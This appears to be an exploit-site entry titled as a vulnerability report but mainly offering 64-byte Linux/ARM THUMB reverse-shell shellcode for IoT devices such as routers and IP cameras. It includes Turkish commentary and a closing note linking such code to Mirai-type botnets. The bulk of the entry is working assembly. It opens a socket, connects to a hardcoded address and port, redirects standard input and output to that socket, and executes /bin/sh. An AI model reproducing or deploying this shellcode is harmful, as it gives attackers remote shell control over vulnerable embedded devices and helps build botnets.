VULN REPORT
/
shellcode
/
ID: 248
Linux/ARM Reverse Shell /bin/sh - 64 Bytes (Klasik IoT)
Summary
This entry details a vulnerability found in the target system. The exploit was published on 2026-07-21 and has garnered 2 views from the community. It is classified under the shellcode category. Users are advised to review the source code in the Detail tab for technical specifics.
exploit_248.txt
Klasik Shellcode - Linux ARM - 64 Bytes
Linux/ARM Reverse Shell - 64 Bytes
ARM mimarisi router, IP kamera, IoT sensoru, Raspberry Pi gibi gomulu sistemlerde yaygindir. ARM shellcode, x86'dan farkli register isimlendirmesi ve THUMB mode icermektedir.
ARM THUMB Mode Assembly
.thumb
.global _start
_start:
mov r0, #2 ; AF_INET
mov r1, #1 ; SOCK_STREAM
mov r2, #0 ; proto=0
mov r7, #281 ; socket() syscall
svc #1
mov r4, r0 ; sockfd kaydet
; connect()
adr r1, sockaddr
mov r2, #16
mov r7, #283 ; connect()
svc #1
; dup2 r4 0/1/2
mov r0, r4
mov r1, #2
dup_loop:
mov r7, #63
svc #1
subs r1, #1
bpl dup_loop
; execve /bin/sh
adr r0, binsh
mov r1, #0
mov r2, #0
mov r7, #11
svc #1
sockaddr: .byte 0x02,0x00,0x11,0x5c,0xc0,0xa8,0x01,0x32
binsh: .asciz "/bin/sh"
IoT IoT Tehdidi
Shodan verilerine gore 15 milyondan fazla savunmasiz ARM tabanli IoT cihazi internete aciktir. Mirai gibi botnetlerin temel bilesenidir.
Entry Stats
Views
2
Downloads
0
Comments
0